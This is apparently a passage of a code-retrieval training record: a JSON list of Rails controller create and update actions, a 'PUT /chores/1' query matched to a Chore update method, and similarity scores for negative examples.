"def create\n @servico_pacote = Servico::Pacote.new(servico_pacote_params)\n\n respond_to do |format|\n if @servico_pacote.save\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully created.' }\n format.json { render action: 'show', status: :created, location: @servico_pacote }\n else\n format.html { render action: 'new' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @quiniela = Quiniela.new(params[:quiniela])\n\n respond_to do |format|\n if @quiniela.save\n format.html { redirect_to @quiniela, notice: 'Quiniela was successfully created.' }\n format.json { render json: @quiniela, status: :created, location: @quiniela }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quiniela.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_choise = UserChoise.new(user_choise_params)\n\n respond_to do |format|\n if @user_choise.save\n format.html { redirect_to admin_user_choise_path(@user_choise), notice: 'User choise was successfully created.' }\n format.json { render :show, status: :created, location: admin_user_choise_path(@user_choise) }\n else\n format.html { render :new }\n format.json { render json: @user_choise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, notice: 'Tecnico criado com sucesso.' }\n format.json { render json: @tecnico, status: :created, location: @tecnico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new(params[:juzgado])\n\n respond_to do |format|\n if @juzgado.save\n format.html { redirect_to @juzgado, notice: 'Juzgado fue creado satisfactoriamente.' }\n format.json { render json: @juzgado, status: :created, location: @juzgado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @juzgado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @recoleccion = Recoleccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recoleccion }\n end\n end",
"def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cegreso = Cegreso.new(cegreso_params)\n\n respond_to do |format|\n if @cegreso.save\n format.html { redirect_to @cegreso, notice: 'Cegreso was successfully created.' }\n format.json { render :show, status: :created, location: @cegreso }\n else\n format.html { render :new }\n format.json { render json: @cegreso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end",
"def create\n @troca_produto = TrocaProduto.new(troca_produto_params)\n\n respond_to do |format|\n if @troca_produto.save\n format.html { redirect_to @troca_produto, notice: \"Troca produto was successfully created.\" }\n format.json { render :show, status: :created, location: @troca_produto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @troca_produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @questionario_resposta = QuestionarioResposta.new(questionario_resposta_params)\n\n respond_to do |format|\n if @questionario_resposta.save\n format.html { redirect_to @questionario_resposta, notice: 'Questionario resposta was successfully created.' }\n format.json { render :show, status: :created, location: @questionario_resposta }\n else\n format.html { render :new }\n format.json { render json: @questionario_resposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def create\n @chore = Chore.new(params[:chore])\n\n respond_to do |format|\n if @chore.save\n format.html { redirect_to(chores_path, :notice => 'New Chore created!') }\n format.xml { render :xml => @chore, :status => :created, :location => @chore }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @chore.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Caracteristica.new(caracteristica_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Caracteristica was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repuesto = Repuesto.new(repuesto_params)\n\n respond_to do |format|\n if @repuesto.save\n format.html { redirect_to @repuesto, notice: 'Repuesto was successfully created.' }\n format.json { render :show, status: :created, location: @repuesto }\n else\n format.html { render :new }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @riesgo = Riesgo.new(riesgo_params)\n\n respond_to do |format|\n if @riesgo.save\n format.html { redirect_to @riesgo, notice: 'Riesgo was successfully created.' }\n format.json { render :show, status: :created, location: @riesgo }\n else\n format.html { render :new }\n format.json { render json: @riesgo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @areco = Areco.new(params[:areco])\n\n respond_to do |format|\n if @areco.save\n format.html { redirect_to @areco, notice: 'Areco was successfully created.' }\n format.json { render json: @areco, status: :created, location: @areco }\n else\n format.html { render action: \"new\" }\n format.json { render json: @areco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @remito = Remito.new(params[:remito])\n\n respond_to do |format|\n if @remito.save\n format.html { redirect_to @remito, notice: 'Remito was successfully created.' }\n format.json { render json: @remito, status: :created, location: @remito }\n else\n format.html { render action: \"new\" }\n format.json { render json: @remito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agronomiaquimica = Agronomiaquimica.new(params[:agronomiaquimica])\n\n respond_to do |format|\n if @agronomiaquimica.save\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully created.' }\n format.json { render json: @agronomiaquimica, status: :created, location: @agronomiaquimica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oeuvre = Oeuvre.new(oeuvre_params)\n\n respond_to do |format|\n if @oeuvre.save\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully created.' }\n format.json { render :show, status: :created, location: @oeuvre }\n else\n format.html { render :new }\n format.json { render json: @oeuvre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @productonegocio = Productonegocio.new(params[:productonegocio])\n\n respond_to do |format|\n if @productonegocio.save\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully created.' }\n format.json { render json: @productonegocio, status: :created, location: @productonegocio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rego = Rego.new(rego_params)\n\n respond_to do |format|\n if @rego.save\n format.html { redirect_to @rego, notice: 'Rego was successfully created.' }\n format.json { render :show, status: :created, location: @rego }\n else\n format.html { render :new }\n format.json { render json: @rego.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @peso = Peso.new(params[:peso])\n\n respond_to do |format|\n if @peso.save\n format.html { redirect_to @peso, notice: 'Peso was successfully created.' }\n format.json { render json: @peso, status: :created, location: @peso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def create\n @tipo_cancha = TipoCancha.new(tipo_cancha_params)\n\n respond_to do |format|\n if @tipo_cancha.save\n format.html { redirect_to @tipo_cancha, notice: 'Tipo cancha was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_cancha }\n else\n format.html { render :new }\n format.json { render json: @tipo_cancha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @leito = Leito.new(params[:leito])\n\n respond_to do |format|\n if @leito.save\n format.html { redirect_to @leito, notice: 'Leito was successfully created.' }\n format.json { render json: @leito, status: :created, location: @leito }\n else\n format.html { render action: \"new\" }\n format.json { render json: @leito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @coisa = Coisa.new(params[:coisa])\n\n respond_to do |format|\n if @coisa.save\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully created.' }\n format.json { render :json => @coisa, :status => :created, :location => @coisa }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @carrito = Carrito.new(carrito_params)\n\n respond_to do |format|\n if @carrito.save\n format.html { redirect_to @carrito, notice: 'Carrito was successfully created.' }\n format.json { render :show, status: :created, location: @carrito }\n else\n format.html { render :new }\n format.json { render json: @carrito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @produto = Produto.new(params[:produto])\n @produto.empresa = session[:usuario].empresa\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: t('.sucesso') }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @presenza = Presenza.new(params[:presenza])\n\n respond_to do |format|\n if @presenza.save\n format.html { redirect_to @presenza, notice: 'Presenza was successfully created.' }\n format.json { render json: @presenza, status: :created, location: @presenza }\n else\n format.html { render action: \"new\" }\n format.json { render json: @presenza.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @questao = Questao.new(questao_params)\n\n respond_to do |format|\n if @questao.save\n format.html { redirect_to @questao, notice: 'Questao was successfully created.' }\n format.json { render :show, status: :created, location: @questao }\n else\n format.html { render :new }\n format.json { render json: @questao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mixproducto = Mixproducto.new(params[:mixproducto])\n @mixboton = \"Crear \"\n respond_to do |format|\n if @mixproducto.save\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully created.' }\n format.json { render json: @mixproducto, status: :created, location: @mixproducto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repuesto = Repuesto.new(repuesto_params)\n\n respond_to do |format|\n if @repuesto.save\n format.html { redirect_to @repuesto, notice: 'Repuesto creado exitosamente' }\n format.json { render :show, status: :created, location: @repuesto }\n else\n format.html { render :new }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan_quirurgico = PlanQuirurgico.new(plan_quirurgico_params)\n @plan_quirurgico.servicios = params[:servicios]\n @plan_quirurgico.estatus = \"En Proceso\"\n puts params\n puts @plan_quirurgico.examen \n respond_to do |format|\n if @plan_quirurgico.save\n format.html { redirect_to @plan_quirurgico, notice: 'El plan quirurgico fue registrado exitosamente.' }\n format.json { render :show, status: :created, location: @plan_quirurgico }\n else\n format.html { render :new }\n format.json { render json: @plan_quirurgico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @relatorio = Relatorio.new(relatorio_params)\r\n\r\n respond_to do |format|\r\n if @relatorio.save\r\n format.html { redirect_to @relatorio, notice: 'Relatório criado com sucesso.' }\r\n format.json { render :show, status: :created, location: @relatorio }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @craque = Craque.new(params[:craque])\n\n respond_to do |format|\n if @craque.save\n format.html { redirect_to @craque, notice: 'Craque was successfully created.' }\n format.json { render json: @craque, status: :created, location: @craque }\n else\n format.html { render action: \"new\" }\n format.json { render json: @craque.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @relatorio = Relatorio.new(relatorio_params)\n\n respond_to do |format|\n if @relatorio.save\n format.html { redirect_to @relatorio, notice: 'Relatorio was successfully created.' }\n format.json { render :show, status: :created, location: @relatorio }\n else\n format.html { render :new }\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tropa = Tropa.new(tropa_params)\n\n respond_to do |format|\n if @tropa.save\n format.html { redirect_to @tropa, notice: 'Tropa was successfully created.' }\n format.json { render :show, status: :created, location: @tropa }\n else\n format.html { render :new }\n format.json { render json: @tropa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resa = Resa.new(resa_params)\n respond_to do |format|\n if @resa.save\n format.html { redirect_to edit_resa_path(@resa), notice: 'Mis à jour réussie' }\n format.json { render action: 'show', status: :created, location: @resa }\n else\n format.html { render action: 'new' }\n format.json { render json: @resa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def create\n @carro = Carro.new(carro_params)\n\n respond_to do |format|\n if @carro.save\n format.html { redirect_to @carro, notice: 'Carro was successfully created.' }\n format.json { render :show, status: :created, location: @carro }\n else\n format.html { render :new }\n format.json { render json: @carro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n combo_producto\n combo_platillo\n @producto_platillo = ProductoPlatillo.new(producto_platillo_params)\n\n respond_to do |format|\n if @producto_platillo.save\n format.html { redirect_to @producto_platillo, notice: 'El Detalle del Platillo Fue Creado Exitosamente.' }\n format.json { render :show, status: :created, location: @producto_platillo }\n else\n format.html { render :new }\n format.json { render json: @producto_platillo.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6310843",
"0.61941934",
"0.61177766",
"0.6102432",
"0.6085019",
"0.6085019",
"0.5890039",
"0.5855365",
"0.5853253",
"0.58197314",
"0.58007395",
"0.57716566",
"0.5770526",
"0.5768314",
"0.57669896",
"0.57569224",
"0.5743025",
"0.5720324",
"0.57035047",
"0.56996423",
"0.56994253",
"0.56918836",
"0.56693494",
"0.5651275",
"0.5645806",
"0.56453556",
"0.5636708",
"0.56281835",
"0.5626898",
"0.56250507",
"0.56210226",
"0.5607632",
"0.5603354",
"0.55998653",
"0.558886",
"0.5579284",
"0.557823",
"0.5577571",
"0.5576374",
"0.55715233",
"0.55698633",
"0.55648",
"0.555464",
"0.5552139",
"0.55410266",
"0.5539585",
"0.551919",
"0.55187553",
"0.5513762",
"0.55092883",
"0.55074894",
"0.549692",
"0.5496166",
"0.5494444",
"0.5493352",
"0.5488999",
"0.5483392",
"0.5481726",
"0.5481552",
"0.54796815",
"0.54788566",
"0.5476058",
"0.5476058",
"0.5476058",
"0.5475152",
"0.5474881",
"0.5474234",
"0.5474107",
"0.5464793",
"0.54636896",
"0.5463365",
"0.5458568",
"0.54538715",
"0.54535824",
"0.5447896",
"0.54476166",
"0.5445521",
"0.54454947",
"0.54444003",
"0.54437083",
"0.54436094",
"0.54335946",
"0.5431808",
"0.5428761",
"0.54149264",
"0.54146516",
"0.54140806",
"0.5413283",
"0.54123104",
"0.54119986",
"0.5411057",
"0.54102725",
"0.54065806",
"0.54008704",
"0.5400178",
"0.5399929",
"0.53996086",
"0.5397951",
"0.53970945",
"0.53968126",
"0.539611"
] | 0.0 | -1 |
PUT /chores/1 PUT /chores/1.json | def update
# TODO: Add cron_str updating
respond_to do |format|
if @chore.update_attributes(params[:chore])
format.html { redirect_to @chore, notice: 'Chore was successfully updated.' }
format.json { head :no_content }
else
format.html { render :edit }
format.json { render json: @chore.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def put!\n request! :put\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end",
"def update\n respond_to do |format|\n if @api_v1_resource.update(api_v1_resource_params)\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_resource }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @trecho = Trecho.find(params[:id])\n\n respond_to do |format|\n if @trecho.update_attributes(params[:trecho])\n format.html { redirect_to @trecho, notice: 'Trecho was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trecho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n if @chore.update_attributes(params[:chore])\n format.html {redirect_to(chores_path, :notice => \"#{@chore.status}\")}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @chore.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n require 'rest-client'\n response = RestClient.put('localhost:3001/colores/'[email protected]_s, color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n\n format.html { redirect_to @color, notice: \"Color was successfully updated.\" }\n format.json { render :show, status: :ok, location: @color }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cartucho = Cartucho.find(params[:id])\n\n respond_to do |format|\n if @cartucho.update_attributes(params[:cartucho])\n format.html { redirect_to @cartucho, notice: 'Cartucho was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cartucho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def update\n @ore = Ore.find(params[:id])\n \n respond_to do |format|\n if @ore.update_attributes(params[:ore])\n format.html { redirect_to @ore, notice: 'Ore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @produto.update(produto_params)\n respond_with @produto\n end",
"def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to_update({thing: @author})\n end",
"def update\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n if @seguro.update_attributes(params[:seguro])\n format.html { redirect_to @seguro, notice: 'Seguro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seguro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @responsavel = Responsavel.find(params[:id])\n\n if @responsavel.update(responsavel_params)\n head :no_content\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def putFactura(oc)\n\n facturax= JSON.parse(HTTP.headers(:\"Content-Type\" => \"application/json\").put(\"http://\"+ $url +\"/facturas/\", :json => {:oc => oc}).to_s, :symbolize_names => true)\n return facturax\n end",
"def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, opts = {})\n request(:put, path, opts).body\n end",
"def update\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n if @socio.update_attributes(params[:socio])\n format.html { redirect_to @socio, :notice => 'Socio atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resi.update(resi_params)\n format.html { redirect_to @resi, notice: 'Resi was successfully updated.' }\n format.json { render :show, status: :ok, location: @resi }\n else\n format.html { render :edit }\n format.json { render json: @resi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couche was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end",
"def put options\n rest_request({ method: :put }.merge(options))\n end",
"def put options\n rest_request({ method: :put }.merge(options))\n end",
"def put(url, resource_name, options = {})\n build_response(resource_name) do\n connection.put do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end",
"def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @what = What.find(params[:id])\n\n respond_to do |format|\n if @what.update_attributes(params[:what])\n format.html { redirect_to @what, notice: 'What was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @what.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @estoque = Estoque.find(params[:id])\n\n respond_to do |format|\n if @estoque.update_attributes(params[:estoque])\n format.html { redirect_to @estoque, notice: 'Estoque was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estoque.errors, status: :unprocessable_entity }\n end\n end\n end",
